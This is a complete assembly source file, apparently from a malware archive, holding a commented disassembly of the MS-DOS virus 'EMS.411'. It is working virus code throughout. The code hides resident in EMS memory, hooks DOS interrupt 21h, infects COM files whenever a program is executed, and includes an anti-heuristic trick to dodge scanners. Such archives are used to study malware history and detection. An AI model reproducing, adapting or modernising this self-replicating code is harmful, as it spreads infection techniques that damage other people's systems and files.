MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ems.asm
2021-01-12 17:41:47 -06:00

214 lines
6.9 KiB
NASM

; EMS.411 Virus
; Dissassembly by Vecna/29A
.model tiny
.code
.386p
org 0
VirusStart:
jmp RealStart ; jump to real start of virus
HostCode:
int 20h ; code of the start of the host is
nop ; stored here
EMM db 'EMMXXXX0'
InfectJump:
db 0e9h ; this jump is written to begin
WhereIAm dw 0 ; of file
LowMemCode:
pushf
cmp byte ptr cs:[InUse-LowMemCode], 0
jnz Int21InUse ; if we're using int21, the bit is set
pusha
mov ax, 4400h
xor bx, bx
mov dx, cs:[Page_-LowMemCode]
int 67h ; map our page
popa
popf
db 09ah ; call our int21 handler in the EMS
dw offset Int21Handler
PageFrame dw 0000h
pusha
pushf
mov ax, 4400h
mov bx, 0FFFFh
mov dx, cs:[Page_-LowMemCode]
int 67h ; unmap out page
mov bp, sp
mov ax, [bp+0] ; get flag status after exec
mov [bp+16h], ax ; and put in the caller stack
popf
popa
iret
Page_ dw 0 ; number of our page
InUse db 0 ; this byte is set if we are using
; the int21
Int21InUse:
popf
db 0EAh ; jump to real int21
Old21:
dd 0
Int21Handler:
pushf
xchg ax, dx ; anti-heuristic
cmp dx, 4B00h
jz Infect ; infect on execute only
xchg ax, dx
call dword ptr cs:[Old21] ; do real call
retf
Infect:
popf
call ToggleFlag ; set flag warning we using int 21
xchg ax, dx
push ds
push dx
pushf
call dword ptr cs:[Old21] ; execute original function first
pushf
pusha
push ds
mov bp, sp
lds dx, [bp+14h] ; load DS:DX from the saved copy in
mov ax, 3D02h ; the stack, and open the file R/W
int 21h
xchg ax, bx
mov ah, 3Fh
mov cx, 3
push cs
pop ds
mov dx, offset HostCode ; read 3 bytes from file to our buffer
int 21h
mov ax, 4202h
cwd
xor cx, cx
int 21h ; seek to the end of the file
sub ax, 3 ; sub 3 for the jump
push ax
sub ax, (offset VEnd-offset VirusStart)
cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
jz AlreadyInfected ; point to same place than we used to
mov ax, 'ZM' ; be? If yes, is already infected
cmp ax, word ptr ds:[HostCode]
jz AlreadyInfected ; file start with MZ (EXE file) ??
pop ax
mov word ptr ds:[WhereIAm], ax ; save position for jump
mov ah, 40h
mov cx, (offset VEnd-offset VirusStart)
cwd
int 21h ; write virus code to end of file
mov ax, 4200h
xor cx, cx
cwd
int 21h ; seek to start of file
mov ah, 40h
mov cx, 3
mov dx, offset InfectJump
int 21h ; write a jump to virus code
jmp short InfectionOk
AlreadyInfected:
add sp, 2 ; fix the stack
InfectionOk:
mov ah, 3Eh ; close file
int 21h
call ToggleFlag ; we're not using int21 anymore
pop ds
popa
push bp
mov bp, sp
lea sp, [bp+8] ; get returned AX and FLAGS
push ax
mov ax, [bp+2]
push ax
popf ; put they in right place
pop ax
mov bp, [bp+0]
retf
ToggleFlag:
push ax
push ds
mov ax, 24h ; set flag of int21 in use
mov ds, ax
xor byte ptr ds:[InUse-offset LowMemCode], 1
pop ds
pop ax
retn
RealStart:
pusha
mov bx, word ptr cs:[101h] ; 101 hold the offset part of the jump
add bx, 103h ; that we put in the start of host
call Install
mov di, si
lea si, [bx+3]
movsb ; restore old code
movsw
popa
jmp si ; jump to start of file
Install:
push bx
push si
push es
push ds
push bx
push bx
push ds
mov ax, 24h ; check if we are already in 24:0
mov ds, ax
cmp word ptr ds:[0], 2E9Ch ; PUSHF/CS:
pop ds
jz AlreadyInstalled
lea si, [bx+offset EMM]
mov ax, 3567h
int 21h ; get segment of EMM386
mov di, 0Ah
mov cx, 8
rep cmpsb ; is really EMM386?
jnz AlreadyInstalled
mov ah, 42h
int 67h ; Number of pages
cmp bx, 1
jl AlreadyInstalled ; less than 1, abort install
mov ah, 41h
int 67h ; get page frame
pop si
mov cs:[si+PageFrame], bx ; save it
mov es, bx
mov ah, 43h
mov bx, 1
int 67h ; allocate 1 page
mov cs:[si+Page_], dx
mov ax, 4400h
mov bx, 0
int 67h ; map memory
mov ax, 3521h
int 21h ; get adress of int21
mov word ptr cs:[si+Old21], bx ; save it
mov word ptr cs:[si+Old21+2], es
mov es, cs:[si+offset PageFrame]
xor di, di
mov cx, 19Bh ; copy our code to our page
rep movsb
mov ax, 4400h
mov bx, 0FFFFh
int 67h ; unmap memory
mov di, 24h
mov bx, di
mov es, di
xor di, di
pop si
add si, 11h
mov cx, offset Int21Handler-offset LowMemCode
rep movsb ; move int21 handler to IVT
mov ds, bx
xor dx, dx
mov ax, 2521h ; point int21 to 24:0
int 21h
jmp InstalledOk
AlreadyInstalled:
add sp, 4 ; fix stack if error
InstalledOk:
pop ds
pop es
pop si
pop bx
ret ; return
VEnd = $
End VirusStart